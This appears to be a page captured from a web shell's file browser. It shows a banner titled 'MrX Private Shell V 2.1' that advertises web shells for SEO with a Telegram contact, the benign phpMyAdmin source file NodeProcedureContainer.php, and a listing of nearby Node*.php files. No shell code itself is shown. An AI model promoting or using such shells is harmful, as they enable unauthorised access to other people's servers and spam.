__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php
/**
* Functionality for the navigation tree
*/
declare(strict_types=1);
namespace PhpMyAdmin\Navigation\Nodes;
use PhpMyAdmin\Navigation\NodeFactory;
use function __;
use function _pgettext;
/**
* Represents a container for procedure nodes in the navigation tree
*/
class NodeProcedureContainer extends NodeDatabaseChildContainer
{
/**
* Initialises the class
*/
public function __construct()
{
parent::__construct(__('Procedures'), Node::CONTAINER);
$this->icon = ['image' => 'b_routines', 'title' => __('Procedures')];
$this->links = [
'text' => ['route' => '/database/routines', 'params' => ['type' => 'PROCEDURE', 'db' => null]],
'icon' => ['route' => '/database/routines', 'params' => ['type' => 'PROCEDURE', 'db' => null]],
];
$this->realName = 'procedures';
$newLabel = _pgettext('Create new procedure', 'New');
$new = NodeFactory::getInstanceForNewNode($newLabel, 'new_procedure italics');
$new->icon = ['image' => 'b_routine_add', 'title' => $newLabel];
$new->links = [
'text' => ['route' => '/database/routines', 'params' => ['add_item' => 1, 'db' => null]],
'icon' => ['route' => '/database/routines', 'params' => ['add_item' => 1, 'db' => null]],
];
$this->addChild($new);
}
}
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| Node.php | File | 26.53 KB | 0644 |
|
| NodeColumn.php | File | 3.22 KB | 0644 |
|
| NodeColumnContainer.php | File | 1.45 KB | 0644 |
|
| NodeDatabase.php | File | 23.17 KB | 0644 |
|
| NodeDatabaseChild.php | File | 1.56 KB | 0644 |
|
| NodeDatabaseChildContainer.php | File | 1.05 KB | 0644 |
|
| NodeDatabaseContainer.php | File | 1.21 KB | 0644 |
|
| NodeEvent.php | File | 1.38 KB | 0644 |
|
| NodeEventContainer.php | File | 1.25 KB | 0644 |
|
| NodeFunction.php | File | 1.46 KB | 0644 |
|
| NodeFunctionContainer.php | File | 1.47 KB | 0644 |
|
| NodeIndex.php | File | 1.07 KB | 0644 |
|
| NodeIndexContainer.php | File | 1.43 KB | 0644 |
|
| NodeProcedure.php | File | 1.47 KB | 0644 |
|
| NodeProcedureContainer.php | File | 1.33 KB | 0644 |
|
| NodeTable.php | File | 11.37 KB | 0644 |
|
| NodeTableContainer.php | File | 1.32 KB | 0644 |
|
| NodeTrigger.php | File | 1.19 KB | 0644 |
|
| NodeTriggerContainer.php | File | 1.29 KB | 0644 |
|
| NodeView.php | File | 1.24 KB | 0644 |
|
| NodeViewContainer.php | File | 1.3 KB | 0644 |
|